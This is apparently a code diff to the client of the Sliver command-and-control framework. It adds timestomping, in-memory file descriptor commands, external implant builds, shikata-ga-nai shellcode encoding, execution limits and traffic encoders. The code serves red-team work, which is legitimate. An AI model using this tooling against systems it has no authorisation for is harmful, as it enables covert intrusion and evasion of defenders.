+		return
+	}
+	unixMtime := t_b.Unix()
+	
+	chtimes, err := con.Rpc.Chtimes(context.Background(), &sliverpb.ChtimesReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      filePath,
+		ATime:  unixAtime,
+		MTime:  unixMtime,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if chtimes.Response != nil && chtimes.Response.Async {
+		con.AddBeaconCallback(chtimes.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, chtimes)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintChtimes(chtimes, con)
+		})
+		con.PrintAsyncResponse(chtimes.Response)
+	} else {
+		PrintChtimes(chtimes, con)
+	}
+}
+
+// PrintChtimes - Print the Chtimes response
+func PrintChtimes(chtimes *sliverpb.Chtimes, con *console.SliverConsoleClient) {
+	if chtimes.Response != nil && chtimes.Response.Err != "" {
+		con.PrintErrorf("%s\n", chtimes.Response.Err)
+		return
+	}
+	con.PrintInfof("%s\n", chtimes.Path)
+}

client/command/filesystem/download.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"os"
-	"path"
 	"path/filepath"
 	"regexp"
 	"runtime"
@@ -131,14 +130,9 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 
 	if saveLoot {
 		lootName := ctx.Flags.String("name")
-		lootType, err := loot.ValidateLootType(ctx.Flags.String("type"))
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
 		// Hand off to the loot package to take care of looting
 		fileType := loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
-		loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
+		loot.LootDownload(download, lootName, fileType, ctx, con)
 	} else {
 		fileName := filepath.Base(remotePath)
 		dst, err := filepath.Abs(localPath)
@@ -155,7 +149,15 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 		if err == nil && fi.IsDir() {
 			if download.IsDir {
 				// Come up with a good file name - filters might make the filename ugly
-				fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(con.GetActiveSessionConfig().Name), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
+				session, beacon := con.ActiveTarget.Get()
+				implantName := ""
+				if session != nil {
+					implantName = session.Name
+				} else if beacon != nil {
+					implantName = beacon.Name
+				}
+
+				fileName = fmt.Sprintf("%s_download_%s_%d.tar.gz", filepath.Base(implantName), filepath.Base(prettifyDownloadName(remotePath)), time.Now().Unix())
 			}
 			if runtime.GOOS == "windows" {
 				// Windows has a file path length of 260 characters
@@ -165,7 +167,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
 				}
 			}
-			dst = path.Join(dst, fileName)
+			dst = filepath.Join(dst, fileName)
 		}
 
 		// Add an extension to a directory download if one is not provided.

client/command/filesystem/ls.go

@@ -149,13 +149,22 @@ func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, con *console.SliverConsoleC
 		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
 		modTime = modTime.In(implantLocation)
 
-		if fileInfo.IsDir {
-			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
-		} else if fileInfo.Link != "" {
-			fmt.Fprintf(table, "%s\t%s -> %s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
-		} else {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		owner := ""
+		if fileInfo.Uid != "" {
+			owner = fileInfo.Uid
 		}
+		if fileInfo.Gid != "" {
+			owner = owner + ":" + fileInfo.Gid + "\t"
+		}
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else if fileInfo.Link != "" {
+			fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		}
+
 	}
 	table.Flush()
 	con.Printf("%s\n", outputBuf.String())

client/command/filesystem/memfiles-add.go

@@ -0,0 +1,67 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MemfilesAddCmd - Add memfile
+func MemfilesAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	memfilesAdd, err := con.Rpc.MemfilesAdd(context.Background(), &sliverpb.MemfilesAddReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if memfilesAdd.Response != nil && memfilesAdd.Response.Async {
+		con.AddBeaconCallback(memfilesAdd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, memfilesAdd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintAddMemfile(memfilesAdd, con)
+		})
+		con.PrintAsyncResponse(memfilesAdd.Response)
+	} else {
+		PrintAddMemfile(memfilesAdd, con)
+	}
+}
+
+// PrintAddMemfile - Print the memfiles response
+func PrintAddMemfile(memfilesAdd *sliverpb.MemfilesAdd, con *console.SliverConsoleClient) {
+	if memfilesAdd.Response != nil && memfilesAdd.Response.Err != "" {
+		con.PrintErrorf("%s\n", memfilesAdd.Response.Err)
+		return
+	}
+	con.PrintInfof("New memfile descriptor: %d\n", memfilesAdd.Fd)
+}

client/command/filesystem/memfiles-list.go

@@ -0,0 +1,118 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"strings"
+	"text/tabwriter"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MemfilesListCmd - List memfiles
+func MemfilesListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	memfilesList, err := con.Rpc.MemfilesList(context.Background(), &sliverpb.MemfilesListReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if memfilesList.Response != nil && memfilesList.Response.Async {
+		con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, memfilesList)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMemfiles(memfilesList, con)
+		})
+		con.PrintAsyncResponse(memfilesList.Response)
+	} else {
+		PrintMemfiles(memfilesList, con)
+	}
+}
+
+// PrintMemfiles - Display an sliverpb.Ls object
+func PrintMemfiles(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
+	if ls.Response != nil && ls.Response.Err != "" {
+		con.PrintErrorf("%s\n", ls.Response.Err)
+		return
+	}
+
+	// Generate metadata to print with the path
+	numberOfFiles := len(ls.Files)
+	var totalSize int64 = 0
+	var pathInfo string
+
+	for _, fileInfo := range ls.Files {
+		totalSize += fileInfo.Size
+	}
+
+	if numberOfFiles == 1 {
+		pathInfo = fmt.Sprintf("%s (%d item, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
+	} else {
+		pathInfo = fmt.Sprintf("%s (%d items, %s)", ls.Path, numberOfFiles, util.ByteCountBinary(totalSize))
+	}
+
+	con.Printf("%s\n", pathInfo)
+	con.Printf("%s\n", strings.Repeat("=", len(pathInfo)))
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	for _, fileInfo := range ls.Files {
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		owner := ""
+		if fileInfo.Uid != "" {
+			owner = fileInfo.Uid
+		}
+		if fileInfo.Gid != "" {
+			owner = owner + ":" + fileInfo.Gid + "\t"
+		}
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s%s\t<dir>\t%s\n", fileInfo.Mode, owner, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else if fileInfo.Link != "" {
+			fmt.Fprintf(table, "%s\t%s%s -> %s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, fileInfo.Link, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s%s\t%s\t%s\n", fileInfo.Mode, owner, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		}
+
+	}
+	table.Flush()
+	con.Printf("%s\n", outputBuf.String())
+}

client/command/filesystem/memfiles-rm.go

@@ -0,0 +1,77 @@
+package filesystem
+
+/*
+	Copyright (C) 2023 b0yd
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"strconv"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MemfilesRmCmd - Remove a memfile
+func MemfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	fdArg := ctx.Args.String("fd")
+	if fdArg == "" {
+		con.PrintErrorf("Missing parameter: File Descriptor\n")
+		return
+	}
+
+	fdInt, err := strconv.ParseInt(fdArg, 0, 64)
+
+	memfilesList, err := con.Rpc.MemfilesRm(context.Background(), &sliverpb.MemfilesRmReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Fd:      fdInt,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if memfilesList.Response != nil && memfilesList.Response.Async {
+		con.AddBeaconCallback(memfilesList.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, memfilesList)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintRmMemfile(memfilesList, con)
+		})
+		con.PrintAsyncResponse(memfilesList.Response)
+	} else {
+		PrintRmMemfile(memfilesList, con)
+	}
+}
+
+// PrintRmMemfile - Remove a memfile
+func PrintRmMemfile(memfilesList *sliverpb.MemfilesRm, con *console.SliverConsoleClient) {
+	if memfilesList.Response != nil && memfilesList.Response.Err != "" {
+		con.PrintErrorf("%s\n", memfilesList.Response.Err)
+		return
+	}
+	con.PrintInfof("Removed memfile descriptor: %d\n", memfilesList.Fd)
+}

client/command/filesystem/upload.go

@@ -68,7 +68,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	uploadGzip := new(encoders.Gzip).Encode(fileBuf)
+	uploadGzip, _ := new(encoders.Gzip).Encode(fileBuf)
 
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("%s -> %s", src, dst), ctrl)

client/command/generate/generate-beacon.go

@@ -31,7 +31,11 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
+	} else {
+		externalBuild(config, save, con)
+	}
 }
 
 func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {

client/command/generate/generate-stager.go

@@ -1,10 +1,28 @@
 package generate
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"net"
+	"os"
 	"regexp"
 	"strings"
 
@@ -51,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	arch := ctx.Flags.String("arch")
 	proto := ctx.Flags.String("protocol")
 	format := ctx.Flags.String("format")
-	badchars := ctx.Flags.String("badchars")
+	badChars := ctx.Flags.String("badchars")
 	save := ctx.Flags.String("save")
 
 	bChars := make([]string, 0)
-	if len(badchars) > 0 {
-		for _, b := range strings.Split(badchars, " ") {
+	if len(badChars) > 0 {
+		for _, b := range strings.Split(badChars, " ") {
 			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
 		}
 	}
@@ -88,7 +106,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 
 	if err != nil {
-		con.PrintErrorf("Error: %v", err)
+		con.PrintErrorf("Error: %v - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH", err)
 		return
 	}
 
@@ -98,7 +116,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 
-		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+		err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)
 			return

client/command/generate/generate.go

@@ -22,12 +22,11 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"log"
 	"net"
 	"net/url"
 	"os"
-	"path"
+	"os/signal"
 	"path/filepath"
 	"runtime"
 	"strings"
@@ -36,6 +35,8 @@ import (
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/spin"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/util"
@@ -82,6 +83,9 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
+
+	ErrNoExternalBuilder = errors.New("no external builders are available")
+	ErrNoValidBuilders   = errors.New("no valid external builders for target")
 )
 
 // GenerateCmd - The main command used to generate implant binaries
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
+	} else {
+		_, err := externalBuild(config, save, con)
+		if err != nil {
+			if err == ErrNoExternalBuilder {
+				con.PrintErrorf("There are no external builders currently connected to the server\n")
+				con.PrintErrorf("See 'builders' command for more information\n")
+			} else if err == ErrNoValidBuilders {
+				con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
+				con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
+				con.PrintErrorf("See 'builders' command for more information\n")
+			} else {
+				con.PrintErrorf("%s\n", err)
+			}
+			return
+		}
+	}
 }
 
 func expandPath(path string) string {
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		if strings.HasSuffix(save, "/") {
 			log.Printf("%s is dir\n", save)
 			os.MkdirAll(save, 0700)
-			saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
+			saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			saveDir := filepath.Dir(save)
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		log.Printf("%s does exist\n", save)
 		if fi.IsDir() {
 			log.Printf("%s is dir\n", save)
-			saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
+			saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -157,8 +178,9 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
 		return "Shared Library"
 	case clientpb.OutputFormat_SHELLCODE:
 		return "Shellcode"
+	default:
+		return "Unknown"
 	}
-	panic(fmt.Sprintf("Unknown format %v", value))
 }
 
 // Shared function that extracts the compile flags from the grumble context
@@ -249,6 +271,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	limitUsername := ctx.Flags.String("limit-username")
 	limitDatetime := ctx.Flags.String("limit-datetime")
 	limitFileExists := ctx.Flags.String("limit-fileexists")
+	limitLocale := ctx.Flags.String("limit-locale")
+	debugFile := ctx.Flags.String("debug-file")
 
 	isSharedLib := false
 	isService := false
@@ -281,6 +305,10 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	if targetOS == "" || targetArch == "" {
 		return nil
 	}
+	if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
+		con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
+		return nil
+	}
 	if len(namedPipeC2) > 0 && targetOS != "windows" {
 		con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
 		return nil
@@ -302,13 +330,17 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
 	}
 
-	// TODO: Use generics or something to check in a slice
 	connectionStrategy := ctx.Flags.String("strategy")
 	if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
 		con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
 		return nil
 	}
 
+	// Parse Traffic Encoder Args
+
+	httpC2Enabled := 0 < len(httpC2)
+	trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(ctx, httpC2Enabled, con)
+
 	config := &clientpb.ImplantConfig{
 		GOOS:             targetOS,
 		GOARCH:           targetArch,
@@ -318,6 +350,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,
+		TemplateName:     ctx.Flags.String("template"),
 
 		WGPeerTunIP:       tunIP.String(),
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
@@ -333,18 +366,45 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		LimitUsername:     limitUsername,
 		LimitDatetime:     limitDatetime,
 		LimitFileExists:   limitFileExists,
+		LimitLocale:       limitLocale,
 
 		Format:      configFormat,
 		IsSharedLib: isSharedLib,
 		IsService:   isService,
 		IsShellcode: isShellcode,
 
-		RunAtLoad: runAtLoad,
+		RunAtLoad:              runAtLoad,
+		NetGoEnabled:           ctx.Flags.Bool("netgo"),
+		TrafficEncodersEnabled: trafficEncodersEnabled,
+		Assets:                 trafficEncoderAssets,
+		
+		DebugFile: debugFile,
 	}
 
 	return config
 }
 
+// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled
+func parseTrafficEncoderArgs(ctx *grumble.Context, httpC2Enabled bool, con *console.SliverConsoleClient) (bool, []*commonpb.File) {
+	trafficEncoders := ctx.Flags.String("traffic-encoders")
+	encoders := []*commonpb.File{}
+	if trafficEncoders != "" {
+		if !httpC2Enabled {
+			con.PrintWarnf("Traffic encoders are only supported with HTTP C2, flag will be ignored\n")
+			return false, encoders
+		}
+		enabledEncoders := strings.Split(trafficEncoders, ",")
+		for _, encoder := range enabledEncoders {
+			if !strings.HasSuffix(encoder, ".wasm") {
+				encoder += ".wasm"
+			}
+			encoders = append(encoders, &commonpb.File{Name: encoder})
+		}
+		return true, encoders
+	}
+	return false, encoders
+}
+
 func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) {
 
 	/* For UX we convert some synonymous terms */
@@ -459,10 +519,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 		return c2s, nil
 	}
 	for index, arg := range strings.Split(args, ",") {
-		arg = strings.ToLower(arg)
 		var uri *url.URL
 		var err error
-		if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
+		if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
 				return nil, err
@@ -473,6 +532,7 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		uri.Path = strings.TrimSuffix(uri.Path, "/")
 		if uri.Scheme != "http" && uri.Scheme != "https" {
 			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
 		}
@@ -601,7 +661,131 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 	return c2s, nil
 }
 
-func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+
+	potentialBuilders, err := findExternalBuilders(config, con)
+	if err != nil {
+		return nil, err
+	}
+	var externalBuilder *clientpb.Builder
+	if len(potentialBuilders) == 1 {
+		externalBuilder = potentialBuilders[0]
+	} else {
+		con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
+		externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
+		if err != nil {
+			return nil, err
+		}
+	}
+	con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
+
+	if config.IsBeacon {
+		interval := time.Duration(config.BeaconInterval)
+		con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
+	} else {
+		con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+	}
+	if config.ObfuscateSymbols {
+		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
+	} else if !config.Debug {
+		con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
+	}
+	start := time.Now()
+
+	listenerID, listener := con.CreateEventListener()
+
+	waiting := true
+	spinner := spin.New()
+
+	sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
+	signal.Notify(sigint, os.Interrupt)
+
+	con.PrintInfof("Creating external build ... ")
+	externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
+		Config:      config,
+		BuilderName: externalBuilder.Name,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil, err
+	}
+	con.Printf("done\n")
+
+	var name string
+	msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
+	for waiting {
+		select {
+
+		case <-time.After(100 * time.Millisecond):
+			elapsed := time.Since(start)
+			msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
+			fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s  %s", spinner.Next(), msg)
+
+		case event := <-listener:
+			switch event.EventType {
+
+			case consts.ExternalBuildFailedEvent:
+				parts := strings.SplitN(string(event.Data), ":", 2)
+				if len(parts) != 2 {
+					continue
+				}
+				if parts[0] == externalImplantConfig.Config.ID {
+					con.RemoveEventListener(listenerID)
+					return nil, fmt.Errorf("external build failed: %s", parts[1])
+				}
+
+			case consts.AcknowledgeBuildEvent:
+				if string(event.Data) == externalImplantConfig.Config.ID {
+					msgF = "External build acknowledged by builder (template: %s) ... %s"
+				}
+
+			case consts.ExternalBuildCompletedEvent:
+				parts := strings.SplitN(string(event.Data), ":", 2)
+				if len(parts) != 2 {
+					continue
+				}
+				if parts[0] == externalImplantConfig.Config.ID {
+					con.RemoveEventListener(listenerID)
+					name = parts[1]
+					waiting = false
+				}
+
+			}
+
+		case <-sigint:
+			waiting = false
+			con.Printf("\n")
+			return nil, fmt.Errorf("user interrupt")
+		}
+	}
+
+	elapsed := time.Since(start)
+	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
+
+	generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+		ImplantName: name,
+	})
+	if err != nil {
+		return nil, err
+	}
+	con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
+
+	saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
+	if err != nil {
+		return nil, err
+	}
+
+	err = os.WriteFile(saveTo, generated.File.Data, 0700)
+	if err != nil {
+		con.PrintErrorf("Failed to write to: %s\n", saveTo)
+		return nil, err
+	}
+	con.PrintInfof("Implant saved to %s\n", saveTo)
+
+	return nil, nil
+}
+
+func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
 	if config.IsBeacon {
 		interval := time.Duration(config.BeaconInterval)
 		con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
@@ -628,20 +812,41 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, err
 	}
 
-	end := time.Now()
-	elapsed := time.Time{}.Add(end.Sub(start))
-	con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
+	elapsed := time.Since(start)
+	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
 	if len(generated.File.Data) == 0 {
 		con.PrintErrorf("Build failed, no file data\n")
 		return nil, errors.New("no file data")
 	}
 
+	fileData := generated.File.Data
+	if config.IsShellcode {
+		if disableSGN {
+			con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
+		} else {
+			con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
+			resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+				Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+				Architecture: config.GOARCH,
+				Iterations:   1,
+				BadChars:     []byte{},
+				Data:         fileData,
+			})
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			} else {
+				con.Printf("success!\n")
+				fileData = resp.GetData()
+			}
+		}
+	}
+
 	saveTo, err := saveLocation(save, generated.File.Name)
 	if err != nil {
 		return nil, err
 	}
 
-	err = ioutil.WriteFile(saveTo, generated.File.Data, 0700)
+	err = os.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -667,6 +872,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	if config.LimitFileExists != "" {
 		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
 	}
+	if config.LimitLocale != "" {
+		limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
+	}
 	return strings.Join(limits, "; ")
 }
 
@@ -728,3 +936,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
